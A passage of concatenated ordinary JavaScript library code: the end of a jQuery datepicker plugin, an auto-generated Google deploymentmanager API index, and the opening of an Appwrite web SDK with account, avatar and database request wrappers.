new_date > this.dates[i]){ this.pickers[i++].setUTCDate(new_date); } } this.updateDates(); delete this.updating; }, remove: function(){ $.map(this.pickers, function(p){ p.remove(); }); delete this.element.data().datepicker; } }; function opts_from_el(el, prefix){ // Derive options from element data-attrs var data = $(el).data(), out = {}, inkey, replace = new RegExp('^' + prefix.toLowerCase() + '([A-Z])'); prefix = new RegExp('^' + prefix.toLowerCase()); function re_lower(_,a){ return a.toLowerCase(); } for (var key in data) if (prefix.test(key)){ inkey = key.replace(replace, re_lower); out[inkey] = data[key]; } return out; } function opts_from_locale(lang){ // Derive options from locale plugins var out = {}; // Check if "de-DE" style date is available, if not language should // fallback to 2 letter code eg "de" if (!dates[lang]){ lang = lang.split('-')[0]; if (!dates[lang]) return; } var d = dates[lang]; $.each(locale_opts, function(i,k){ if (k in d) out[k] = d[k]; }); return out; } var old = $.fn.datepicker; $.fn.datepicker = function(option){ var args = Array.apply(null, arguments); args.shift(); var internal_return; this.each(function(){ var $this = $(this), data = $this.data('datepicker'), options = typeof option === 'object' && option; if (!data){ var elopts = opts_from_el(this, 'date'), // Preliminary otions xopts = $.extend({}, defaults, elopts, options), locopts = opts_from_locale(xopts.language), // Options priority: js args, data-attrs, locales, defaults opts = $.extend({}, defaults, locopts, elopts, options); if ($this.is('.input-daterange') || opts.inputs){ var ropts = { inputs: opts.inputs || $this.find('input').toArray() }; $this.data('datepicker', (data = new DateRangePicker(this, $.extend(opts, ropts)))); } else { $this.data('datepicker', (data = new Datepicker(this, opts))); } } if (typeof option === 'string' && typeof data[option] === 'function'){ internal_return = data[option].apply(data, args); if (internal_return !== undefined) return false; } }); if (internal_return !== undefined) return internal_return; else return this; }; var defaults = $.fn.datepicker.defaults = { autoclose: false, beforeShowDay: $.noop, calendarWeeks: false, clearBtn: false, daysOfWeekDisabled: [], endDate: Infinity, forceParse: true, format: 'dd/mm/yyyy', keyboardNavigation: true, language: 'en', minViewMode: 0, multidate: false, multidateSeparator: ',', orientation: "auto", rtl: false, startDate: -Infinity, startView: 0, todayBtn: false, todayHighlight: false, weekStart: 0 }; var locale_opts = $.fn.datepicker.locale_opts = [ 'format', 'rtl', 'weekStart' ]; $.fn.datepicker.Constructor = Datepicker; var dates = $.fn.datepicker.dates = { en: { days: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"], daysShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"], daysMin: ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"], months: ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"], monthsShort: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], today: "Today", clear: "Clear" } }; var DPGlobal = { modes: [ { clsName: 'days', navFnc: 'Month', navStep: 1 }, { clsName: 'months', navFnc: 'FullYear', navStep: 1 }, { clsName: 'years', navFnc: 'FullYear', navStep: 10 }], isLeapYear: function(year){ return (((year % 4 === 0) && (year % 100 !== 0)) || (year % 400 === 0)); }, getDaysInMonth: function(year, month){ return [31, (DPGlobal.isLeapYear(year) ? 29 : 28), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month]; }, validParts: /dd?|DD?|mm?|MM?|yy(?:yy)?/g, nonpunctuation: /[^ -\/:-@\[\u3400-\u9fff-`{-~\t\n\r]+/g, parseFormat: function(format){ // IE treats \0 as a string end in inputs (truncating the value), // so it's a bad format delimiter, anyway var separators = format.replace(this.validParts, '\0').split('\0'), parts = format.match(this.validParts); if (!separators || !separators.length || !parts || parts.length === 0){ throw new Error("Invalid date format."); } return {separators: separators, parts: parts}; }, parseDate: function(date, format, language){ if (!date) return undefined; if (date instanceof Date) return date; if (typeof format === 'string') format = DPGlobal.parseFormat(format); var part_re = /([\-+]\d+)([dmwy])/, parts = date.match(/([\-+]\d+)([dmwy])/g), part, dir, i; if (/^[\-+]\d+[dmwy]([\s,]+[\-+]\d+[dmwy])*$/.test(date)){ date = new Date(); for (i=0; i < parts.length; i++){ part = part_re.exec(parts[i]); dir = parseInt(part[1]); switch (part[2]){ case 'd': date.setUTCDate(date.getUTCDate() + dir); break; case 'm': date = Datepicker.prototype.moveMonth.call(Datepicker.prototype, date, dir); break; case 'w': date.setUTCDate(date.getUTCDate() + dir * 7); break; case 'y': date = Datepicker.prototype.moveYear.call(Datepicker.prototype, date, dir); break; } } return UTCDate(date.getUTCFullYear(), date.getUTCMonth(), date.getUTCDate(), 0, 0, 0); } parts = date && date.match(this.nonpunctuation) || []; date = new Date(); var parsed = {}, setters_order = ['yyyy', 'yy', 'M', 'MM', 'm', 'mm', 'd', 'dd'], setters_map = { yyyy: function(d,v){ return d.setUTCFullYear(v); }, yy: function(d,v){ return d.setUTCFullYear(2000+v); }, m: function(d,v){ if (isNaN(d)) return d; v -= 1; while (v < 0) v += 12; v %= 12; d.setUTCMonth(v); while (d.getUTCMonth() !== v) d.setUTCDate(d.getUTCDate()-1); return d; }, d: function(d,v){ return d.setUTCDate(v); } }, val, filtered; setters_map['M'] = setters_map['MM'] = setters_map['mm'] = setters_map['m']; setters_map['dd'] = setters_map['d']; date = UTCDate(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0); var fparts = format.parts.slice(); // Remove noop parts if (parts.length !== fparts.length){ fparts = $(fparts).filter(function(i,p){ return $.inArray(p, setters_order) !== -1; }).toArray(); } // Process remainder function match_part(){ var m = this.slice(0, parts[i].length), p = parts[i].slice(0, m.length); return m === p; } if (parts.length === fparts.length){ var cnt; for (i=0, cnt = fparts.length; i < cnt; i++){ val = parseInt(parts[i], 10); part = fparts[i]; if (isNaN(val)){ switch (part){ case 'MM': filtered = $(dates[language].months).filter(match_part); val = $.inArray(filtered[0], dates[language].months) + 1; break; case 'M': filtered = $(dates[language].monthsShort).filter(match_part); val = $.inArray(filtered[0], dates[language].monthsShort) + 1; break; } } parsed[part] = val; } var _date, s; for (i=0; i < setters_order.length; i++){ s = setters_order[i]; if (s in parsed && !isNaN(parsed[s])){ _date = new Date(date); setters_map[s](_date, parsed[s]); if (!isNaN(_date)) date = _date; } } } return date; }, formatDate: function(date, format, language){ if (!date) return ''; if (typeof format === 'string') format = DPGlobal.parseFormat(format); var val = { d: date.getUTCDate(), D: dates[language].daysShort[date.getUTCDay()], DD: dates[language].days[date.getUTCDay()], m: date.getUTCMonth() + 1, M: dates[language].monthsShort[date.getUTCMonth()], MM: dates[language].months[date.getUTCMonth()], yy: date.getUTCFullYear().toString().substring(2), yyyy: date.getUTCFullYear() }; val.dd = (val.d < 10 ? '0' : '') + val.d; val.mm = (val.m < 10 ? '0' : '') + val.m; date = []; var seps = $.extend([], format.separators); for (var i=0, cnt = format.parts.length; i <= cnt; i++){ if (seps.length) date.push(seps.shift()); date.push(val[format.parts[i]]); } return date.join(''); }, headTemplate: '<thead>'+ '<tr>'+ '<th class="prev">&laquo;</th>'+ '<th colspan="5" class="datepicker-switch"></th>'+ '<th class="next">&raquo;</th>'+ '</tr>'+ '</thead>', contTemplate: '<tbody><tr><td colspan="7"></td></tr></tbody>', footTemplate: '<tfoot>'+ '<tr>'+ '<th colspan="7" class="today"></th>'+ '</tr>'+ '<tr>'+ '<th colspan="7" class="clear"></th>'+ '</tr>'+ '</tfoot>' }; DPGlobal.template = '<div class="datepicker">'+ '<div class="datepicker-days">'+ '<table class="table table-condensed">'+ DPGlobal.headTemplate+ '<tbody></tbody>'+ DPGlobal.footTemplate+ '</table>'+ '</div>'+ '<div class="datepicker-months">'+ '<table class="table table-condensed">'+ DPGlobal.headTemplate+ DPGlobal.contTemplate+ DPGlobal.footTemplate+ '</table>'+ '</div>'+ '<div class="datepicker-years">'+ '<table class="table table-condensed">'+ DPGlobal.headTemplate+ DPGlobal.contTemplate+ DPGlobal.footTemplate+ '</table>'+ '</div>'+ '</div>'; $.fn.datepicker.DPGlobal = DPGlobal; /* DATEPICKER NO CONFLICT * =================== */ $.fn.datepicker.noConflict = function(){ $.fn.datepicker = old; return this; }; /* DATEPICKER DATA-API * ================== */ $(document).on( 'focus.datepicker.data-api click.datepicker.data-api', '[data-provide="datepicker"]', function(e){ var $this = $(this); if ($this.data('datepicker')) return; e.preventDefault(); // component click requires us to explicitly show it $this.datepicker('show'); } ); $(function(){ $('[data-provide="datepicker-inline"]').datepicker(); }); }(window.jQuery));
"use strict"; // Copyright 2020 Google LLC // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. Object.defineProperty(exports, "__esModule", { value: true }); exports.auth = exports.deploymentmanager = exports.VERSIONS = void 0; /*! THIS FILE IS AUTO-GENERATED */ const googleapis_common_1 = require("googleapis-common"); const alpha_1 = require("./alpha"); const v2_1 = require("./v2"); const v2beta_1 = require("./v2beta"); exports.VERSIONS = { alpha: alpha_1.deploymentmanager_alpha.Deploymentmanager, v2: v2_1.deploymentmanager_v2.Deploymentmanager, v2beta: v2beta_1.deploymentmanager_v2beta.Deploymentmanager, }; function deploymentmanager(versionOrOptions) { return googleapis_common_1.getAPI('deploymentmanager', versionOrOptions, exports.VERSIONS, this); } exports.deploymentmanager = deploymentmanager; const auth = new googleapis_common_1.AuthPlus(); exports.auth = auth; //# sourceMappingURL=index.js.map
(function (window) { 'use strict'; window.Appwrite = function () { let config = { endpoint: 'https://appwrite.io/v1', project: '', key: '', locale: '', mode: '', }; /** * @param {string} endpoint * @returns {this} */ let setEndpoint = function(endpoint) { config.endpoint = endpoint; return this; }; /** * Set Project * * Your project ID * * @param value string * * @return this */ let setProject = function (value) { http.addGlobalHeader('X-Appwrite-Project', value); config.project = value; return this; }; /** * Set Key * * Your secret API key * * @param value string * * @return this */ let setKey = function (value) { http.addGlobalHeader('X-Appwrite-Key', value); config.key = value; return this; }; /** * Set Locale * * @param value string * * @return this */ let setLocale = function (value) { http.addGlobalHeader('X-Appwrite-Locale', value); config.locale = value; return this; }; /** * Set Mode * * @param value string * * @return this */ let setMode = function (value) { http.addGlobalHeader('X-Appwrite-Mode', value); config.mode = value; return this; }; let http = function(document) { let globalParams = [], globalHeaders = []; let addParam = function (url, param, value) { let a = document.createElement('a'), regex = /(?:\?|&amp;|&)+([^=]+)(?:=([^&]*))*/g; let match, str = []; a.href = url; param = encodeURIComponent(param); while (match = regex.exec(a.search)) if (param !== match[1]) str.push(match[1] + (match[2] ? "=" + match[2] : "")); str.push(param + (value ? "=" + encodeURIComponent(value) : "")); a.search = str.join("&"); return a.href; }; /** * @param {Object} params * @returns {string} */ let buildQuery = function(params) { let str = []; for (let p in params) { if(Array.isArray(params[p])) { for (let index = 0; index < params[p].length; index++) { let param = params[p][index]; str.push(encodeURIComponent(p + '[]') + "=" + encodeURIComponent(param)); } } else { str.push(encodeURIComponent(p) + "=" + encodeURIComponent(params[p])); } } return str.join("&"); }; let addGlobalHeader = function(key, value) { globalHeaders[key] = {key: key.toLowerCase(), value: value.toLowerCase()}; }; let addGlobalParam = function(key, value) { globalParams.push({key: key, value: value}); }; addGlobalHeader('x-sdk-version', 'appwrite:javascript:1.0.0'); addGlobalHeader('content-type', ''); /** * @param {string} method * @param {string} path string * @param {Object} headers * @param {Object} params * @param {function} progress * @returns {Promise} */ let call = function (method, path, headers = {}, params = {}, progress = null) { let i; path = config.endpoint + path; if (-1 === ['GET', 'POST', 'PUT', 'DELETE', 'TRACE', 'HEAD', 'OPTIONS', 'CONNECT', 'PATCH'].indexOf(method)) { throw new Error('var method must contain a valid HTTP method name'); } if (typeof path !== 'string') { throw new Error('var path must be of type string'); } if (typeof headers !== 'object') { throw new Error('var headers must be of type object'); } for (i = 0; i < globalParams.length; i++) { // Add global params to URL path = addParam(path, globalParams[i].key, globalParams[i].value); } if(window.localStorage && window.localStorage.getItem('cookieFallback')) { headers['X-Fallback-Cookies'] = window.localStorage.getItem('cookieFallback'); } for (let key in globalHeaders) { // Add Global Headers if (globalHeaders.hasOwnProperty(key)) { if (!headers[globalHeaders[key].key]) { headers[globalHeaders[key].key] = globalHeaders[key].value; } } } if(method === 'GET') { for (let param in params) { if (param.hasOwnProperty(key)) { path = addParam(path, key + (Array.isArray(param) ? '[]' : ''), params[key]); } } } switch (headers['content-type']) { // Parse request by content type case 'application/json': params = JSON.stringify(params); break; case 'multipart/form-data': let formData = new FormData(); Object.keys(params).forEach(function(key) { let param = params[key]; formData.append(key + (Array.isArray(param) ? '[]' : ''), param); }); params = formData; break; } return new Promise(function (resolve, reject) { let request = new XMLHttpRequest(), key; request.withCredentials = true; request.open(method, path, true); for (key in headers) { // Set Headers if (headers.hasOwnProperty(key)) { if (key === 'content-type' && headers[key] === 'multipart/form-data') { // Skip to avoid missing boundary continue; } request.setRequestHeader(key, headers[key]); } } request.onload = function () { if (4 === request.readyState && 399 >= request.status) { let data = request.response; let contentType = this.getResponseHeader('content-type') || ''; contentType = contentType.substring(0, contentType.indexOf(';')); switch (contentType) { case 'application/json': data = JSON.parse(data); break; } let cookieFallback = this.getResponseHeader('X-Fallback-Cookies') || ''; if(window.localStorage && cookieFallback) { window.console.warn('Appwrite is using localStorage for session management. Increase your security by adding a custom domain as your API endpoint.'); window.localStorage.setItem('cookieFallback', cookieFallback); } resolve(data); } else { reject(new Error(request.statusText)); } }; if (progress) { request.addEventListener('progress', progress); request.upload.addEventListener('progress', progress, false); } // Handle network errors request.onerror = function () { reject(new Error("Network Error")); }; request.send(params); }) }; return { 'get': function(path, headers = {}, params = {}) { return call('GET', path + ((Object.keys(params).length > 0) ? '?' + buildQuery(params) : ''), headers, {}); }, 'post': function(path, headers = {}, params = {}, progress = null) { return call('POST', path, headers, params, progress); }, 'put': function(path, headers = {}, params = {}, progress = null) { return call('PUT', path, headers, params, progress); }, 'patch': function(path, headers = {}, params = {}, progress = null) { return call('PATCH', path, headers, params, progress); }, 'delete': function(path, headers = {}, params = {}, progress = null) { return call('DELETE', path, headers, params, progress); }, 'addGlobalParam': addGlobalParam, 'addGlobalHeader': addGlobalHeader } }(window.document); let iframe = function(method, url, params) { let form = document.createElement('form'); form.setAttribute('method', method); form.setAttribute('action', config.endpoint + url); for(let key in params) { if(params.hasOwnProperty(key)) { let hiddenField = document.createElement("input"); hiddenField.setAttribute("type", "hidden"); hiddenField.setAttribute("name", key); hiddenField.setAttribute("value", params[key]); form.appendChild(hiddenField); } } document.body.appendChild(form); return form.submit(); }; let account = { /** * Get Account * * Get currently logged in user data as JSON object. * * @throws {Error} * @return {Promise} */ get: function() { let path = '/account'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Account * * Use this endpoint to allow a new user to register a new account in your * project. After the user registration completes successfully, you can use * the [/account/verfication](/docs/account#createVerification) route to start * verifying the user email address. To allow your new user to login to his * new account, you need to create a new [account * session](/docs/account#createSession). * * @param {string} email * @param {string} password * @param {string} name * @throws {Error} * @return {Promise} */ create: function(email, password, name = '') { if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(password === undefined) { throw new Error('Missing required parameter: "password"'); } let path = '/account'; let payload = {}; if(email) { payload['email'] = email; } if(password) { payload['password'] = password; } if(name) { payload['name'] = name; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Account * * Delete a currently logged in user account. Behind the scene, the user * record is not deleted but permanently blocked from any access. This is done * to avoid deleted accounts being overtaken by new users with the same email * address. Any user-related resources like documents or storage files should * be deleted separately. * * @throws {Error} * @return {Promise} */ delete: function() { let path = '/account'; let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Update Account Email * * Update currently logged in user account email address. After changing user * address, user confirmation status is being reset and a new confirmation * mail is sent. For security measures, user password is required to complete * this request. * * @param {string} email * @param {string} password * @throws {Error} * @return {Promise} */ updateEmail: function(email, password) { if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(password === undefined) { throw new Error('Missing required parameter: "password"'); } let path = '/account/email'; let payload = {}; if(email) { payload['email'] = email; } if(password) { payload['password'] = password; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Get Account Logs * * Get currently logged in user list of latest security activity logs. Each * log returns user IP address, location and date and time of log. * * @throws {Error} * @return {Promise} */ getLogs: function() { let path = '/account/logs'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Account Name * * Update currently logged in user account name. * * @param {string} name * @throws {Error} * @return {Promise} */ updateName: function(name) { if(name === undefined) { throw new Error('Missing required parameter: "name"'); } let path = '/account/name'; let payload = {}; if(name) { payload['name'] = name; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Update Account Password * * Update currently logged in user password. For validation, user is required * to pass the password twice. * * @param {string} password * @param {string} oldPassword * @throws {Error} * @return {Promise} */ updatePassword: function(password, oldPassword) { if(password === undefined) { throw new Error('Missing required parameter: "password"'); } if(oldPassword === undefined) { throw new Error('Missing required parameter: "oldPassword"'); } let path = '/account/password'; let payload = {}; if(password) { payload['password'] = password; } if(oldPassword) { payload['old-password'] = oldPassword; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Get Account Preferences * * Get currently logged in user preferences as a key-value object. * * @throws {Error} * @return {Promise} */ getPrefs: function() { let path = '/account/prefs'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Account Preferences * * Update currently logged in user account preferences. You can pass only the * specific settings you wish to update. * * @param {object} prefs * @throws {Error} * @return {Promise} */ updatePrefs: function(prefs) { if(prefs === undefined) { throw new Error('Missing required parameter: "prefs"'); } let path = '/account/prefs'; let payload = {}; if(prefs) { payload['prefs'] = prefs; } return http .patch(path, { 'content-type': 'application/json', }, payload); }, /** * Create Password Recovery * * Sends the user an email with a temporary secret key for password reset. * When the user clicks the confirmation link he is redirected back to your * app password reset URL with the secret key and email address values * attached to the URL query string. Use the query string params to submit a * request to the [PUT /account/recovery](/docs/account#updateRecovery) * endpoint to complete the process. * * @param {string} email * @param {string} url * @throws {Error} * @return {Promise} */ createRecovery: function(email, url) { if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(url === undefined) { throw new Error('Missing required parameter: "url"'); } let path = '/account/recovery'; let payload = {}; if(email) { payload['email'] = email; } if(url) { payload['url'] = url; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Complete Password Recovery * * Use this endpoint to complete the user account password reset. Both the * **userId** and **secret** arguments will be passed as query parameters to * the redirect URL you have provided when sending your request to the [POST * /account/recovery](/docs/account#createRecovery) endpoint. * * Please note that in order to avoid a [Redirect * Attack](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md) * the only valid redirect URLs are the ones from domains you have set when * adding your platforms in the console interface. * * @param {string} userId * @param {string} secret * @param {string} passwordA * @param {string} passwordB * @throws {Error} * @return {Promise} */ updateRecovery: function(userId, secret, passwordA, passwordB) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(secret === undefined) { throw new Error('Missing required parameter: "secret"'); } if(passwordA === undefined) { throw new Error('Missing required parameter: "passwordA"'); } if(passwordB === undefined) { throw new Error('Missing required parameter: "passwordB"'); } let path = '/account/recovery'; let payload = {}; if(userId) { payload['userId'] = userId; } if(secret) { payload['secret'] = secret; } if(passwordA) { payload['password-a'] = passwordA; } if(passwordB) { payload['password-b'] = passwordB; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Get Account Sessions * * Get currently logged in user list of active sessions across different * devices. * * @throws {Error} * @return {Promise} */ getSessions: function() { let path = '/account/sessions'; let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Account Session * * Allow the user to login into his account by providing a valid email and * password combination. This route will create a new session for the user. * * @param {string} email * @param {string} password * @throws {Error} * @return {Promise} */ createSession: function(email, password) { if(email === undefined) { throw new Error('Missing required parameter: "email"'); } if(password === undefined) { throw new Error('Missing required parameter: "password"'); } let path = '/account/sessions'; let payload = {}; if(email) { payload['email'] = email; } if(password) { payload['password'] = password; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Delete All Account Sessions * * Delete all sessions from the user account and remove any sessions cookies * from the end client. * * @throws {Error} * @return {Promise} */ deleteSessions: function() { let path = '/account/sessions'; let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Create Account Session with OAuth2 * * Allow the user to login to his account using the OAuth2 provider of his * choice. Each OAuth2 provider should be enabled from the Appwrite console * first. Use the success and failure arguments to provide a redirect URL's * back to your app when login is completed. * * @param {string} provider * @param {string} success * @param {string} failure * @throws {Error} * @return {string} */ createOAuth2Session: function(provider, success, failure) { if(provider === undefined) { throw new Error('Missing required parameter: "provider"'); } if(success === undefined) { throw new Error('Missing required parameter: "success"'); } if(failure === undefined) { throw new Error('Missing required parameter: "failure"'); } let path = '/account/sessions/oauth2/{provider}'.replace(new RegExp('{provider}', 'g'), provider); let payload = {}; if(success) { payload['success'] = success; } if(failure) { payload['failure'] = failure; } payload['project'] = config.project; payload['key'] = config.key; let query = Object.keys(payload).map(key => key + '=' + encodeURIComponent(payload[key])).join('&'); return config.endpoint + path + ((query) ? '?' + query : ''); }, /** * Delete Account Session * * Use this endpoint to log out the currently logged in user from all his * account sessions across all his different devices. When using the option id * argument, only the session unique ID provider will be deleted. * * @param {string} sessionId * @throws {Error} * @return {Promise} */ deleteSession: function(sessionId) { if(sessionId === undefined) { throw new Error('Missing required parameter: "sessionId"'); } let path = '/account/sessions/{sessionId}'.replace(new RegExp('{sessionId}', 'g'), sessionId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * Create Email Verification * * Use this endpoint to send a verification message to your user email address * to confirm they are the valid owners of that address. Both the **userId** * and **secret** arguments will be passed as query parameters to the URL you * have provider to be attached to the verification email. The provided URL * should redirect the user back for your app and allow you to complete the * verification process by verifying both the **userId** and **secret** * parameters. Learn more about how to [complete the verification * process](/docs/account#updateAccountVerification). * * Please note that in order to avoid a [Redirect * Attack](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.md) * the only valid redirect URLs are the ones from domains you have set when * adding your platforms in the console interface. * * @param {string} url * @throws {Error} * @return {Promise} */ createVerification: function(url) { if(url === undefined) { throw new Error('Missing required parameter: "url"'); } let path = '/account/verification'; let payload = {}; if(url) { payload['url'] = url; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Complete Email Verification * * Use this endpoint to complete the user email verification process. Use both * the **userId** and **secret** parameters that were attached to your app URL * to verify the user email ownership. If confirmed this route will return a * 200 status code. * * @param {string} userId * @param {string} secret * @throws {Error} * @return {Promise} */ updateVerification: function(userId, secret) { if(userId === undefined) { throw new Error('Missing required parameter: "userId"'); } if(secret === undefined) { throw new Error('Missing required parameter: "secret"'); } let path = '/account/verification'; let payload = {}; if(userId) { payload['userId'] = userId; } if(secret) { payload['secret'] = secret; } return http .put(path, { 'content-type': 'application/json', }, payload); } }; let avatars = { /** * Get Browser Icon * * You can use this endpoint to show different browser icons to your users. * The code argument receives the browser code as it appears in your user * /account/sessions endpoint. Use width, height and quality arguments to * change the output settings. * * @param {string} code * @param {number} width * @param {number} height * @param {number} quality * @throws {Error} * @return {Promise} */ getBrowser: function(code, width = 100, height = 100, quality = 100) { if(code === undefined) { throw new Error('Missing required parameter: "code"'); } let path = '/avatars/browsers/{code}'.replace(new RegExp('{code}', 'g'), code); let payload = {}; if(width) { payload['width'] = width; } if(height) { payload['height'] = height; } if(quality) { payload['quality'] = quality; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get Credit Card Icon * * Need to display your users with your billing method or their payment * methods? The credit card endpoint will return you the icon of the credit * card provider you need. Use width, height and quality arguments to change * the output settings. * * @param {string} code * @param {number} width * @param {number} height * @param {number} quality * @throws {Error} * @return {Promise} */ getCreditCard: function(code, width = 100, height = 100, quality = 100) { if(code === undefined) { throw new Error('Missing required parameter: "code"'); } let path = '/avatars/credit-cards/{code}'.replace(new RegExp('{code}', 'g'), code); let payload = {}; if(width) { payload['width'] = width; } if(height) { payload['height'] = height; } if(quality) { payload['quality'] = quality; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get Favicon * * Use this endpoint to fetch the favorite icon (AKA favicon) of a any remote * website URL. * * @param {string} url * @throws {Error} * @return {Promise} */ getFavicon: function(url) { if(url === undefined) { throw new Error('Missing required parameter: "url"'); } let path = '/avatars/favicon'; let payload = {}; if(url) { payload['url'] = url; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get Country Flag * * You can use this endpoint to show different country flags icons to your * users. The code argument receives the 2 letter country code. Use width, * height and quality arguments to change the output settings. * * @param {string} code * @param {number} width * @param {number} height * @param {number} quality * @throws {Error} * @return {Promise} */ getFlag: function(code, width = 100, height = 100, quality = 100) { if(code === undefined) { throw new Error('Missing required parameter: "code"'); } let path = '/avatars/flags/{code}'.replace(new RegExp('{code}', 'g'), code); let payload = {}; if(width) { payload['width'] = width; } if(height) { payload['height'] = height; } if(quality) { payload['quality'] = quality; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get Image from URL * * Use this endpoint to fetch a remote image URL and crop it to any image size * you want. This endpoint is very useful if you need to crop and display * remote images in your app or in case you want to make sure a 3rd party * image is properly served using a TLS protocol. * * @param {string} url * @param {number} width * @param {number} height * @throws {Error} * @return {Promise} */ getImage: function(url, width = 400, height = 400) { if(url === undefined) { throw new Error('Missing required parameter: "url"'); } let path = '/avatars/image'; let payload = {}; if(url) { payload['url'] = url; } if(width) { payload['width'] = width; } if(height) { payload['height'] = height; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Get QR Code * * Converts a given plain text to a QR code image. You can use the query * parameters to change the size and style of the resulting image. * * @param {string} text * @param {number} size * @param {number} margin * @param {number} download * @throws {Error} * @return {Promise} */ getQR: function(text, size = 400, margin = 1, download = 0) { if(text === undefined) { throw new Error('Missing required parameter: "text"'); } let path = '/avatars/qr'; let payload = {}; if(text) { payload['text'] = text; } if(size) { payload['size'] = size; } if(margin) { payload['margin'] = margin; } if(download) { payload['download'] = download; } return http .get(path, { 'content-type': 'application/json', }, payload); } }; let database = { /** * List Collections * * Get a list of all the user collections. You can use the query params to * filter your results. On admin mode, this endpoint will return a list of all * of the project collections. [Learn more about different API * modes](/docs/admin). * * @param {string} search * @param {number} limit * @param {number} offset * @param {string} orderType * @throws {Error} * @return {Promise} */ listCollections: function(search = '', limit = 25, offset = 0, orderType = 'ASC') { let path = '/database/collections'; let payload = {}; if(search) { payload['search'] = search; } if(limit) { payload['limit'] = limit; } if(offset) { payload['offset'] = offset; } if(orderType) { payload['orderType'] = orderType; } return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Create Collection * * Create a new Collection. * * @param {string} name * @param {array} read * @param {array} write * @param {array} rules * @throws {Error} * @return {Promise} */ createCollection: function(name, read, write, rules) { if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } if(rules === undefined) { throw new Error('Missing required parameter: "rules"'); } let path = '/database/collections'; let payload = {}; if(name) { payload['name'] = name; } if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } if(rules) { payload['rules'] = rules; } return http .post(path, { 'content-type': 'application/json', }, payload); }, /** * Get Collection * * Get collection by its unique ID. This endpoint response returns a JSON * object with the collection metadata. * * @param {string} collectionId * @throws {Error} * @return {Promise} */ getCollection: function(collectionId) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } let path = '/database/collections/{collectionId}'.replace(new RegExp('{collectionId}', 'g'), collectionId); let payload = {}; return http .get(path, { 'content-type': 'application/json', }, payload); }, /** * Update Collection * * Update collection by its unique ID. * * @param {string} collectionId * @param {string} name * @param {array} read * @param {array} write * @param {array} rules * @throws {Error} * @return {Promise} */ updateCollection: function(collectionId, name, read, write, rules = []) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } if(name === undefined) { throw new Error('Missing required parameter: "name"'); } if(read === undefined) { throw new Error('Missing required parameter: "read"'); } if(write === undefined) { throw new Error('Missing required parameter: "write"'); } let path = '/database/collections/{collectionId}'.replace(new RegExp('{collectionId}', 'g'), collectionId); let payload = {}; if(name) { payload['name'] = name; } if(read) { payload['read'] = read; } if(write) { payload['write'] = write; } if(rules) { payload['rules'] = rules; } return http .put(path, { 'content-type': 'application/json', }, payload); }, /** * Delete Collection * * Delete a collection by its unique ID. Only users with write permissions * have access to delete this resource. * * @param {string} collectionId * @throws {Error} * @return {Promise} */ deleteCollection: function(collectionId) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } let path = '/database/collections/{collectionId}'.replace(new RegExp('{collectionId}', 'g'), collectionId); let payload = {}; return http .delete(path, { 'content-type': 'application/json', }, payload); }, /** * List Documents * * Get a list of all the user documents. You can use the query params to * filter your results. On admin mode, this endpoint will return a list of all * of the project documents. [Learn more about different API * modes](/docs/admin). * * @param {string} collectionId * @param {array} filters * @param {number} offset * @param {number} limit * @param {string} orderField * @param {string} orderType * @param {string} orderCast * @param {string} search * @param {number} first * @param {number} last * @throws {Error} * @return {Promise} */ listDocuments: function(collectionId, filters = [], offset = 0, limit = 50, orderField = '$id', orderType = 'ASC', orderCast = 'string', search = '', first = 0, last = 0) { if(collectionId === undefined) { throw new Error('Missing required parameter: "collectionId"'); } let path = '/database/collections/{collectionId}/documents'.replace(new RegExp('{collectionId}', 'g'), collectionId); let payload = {}; 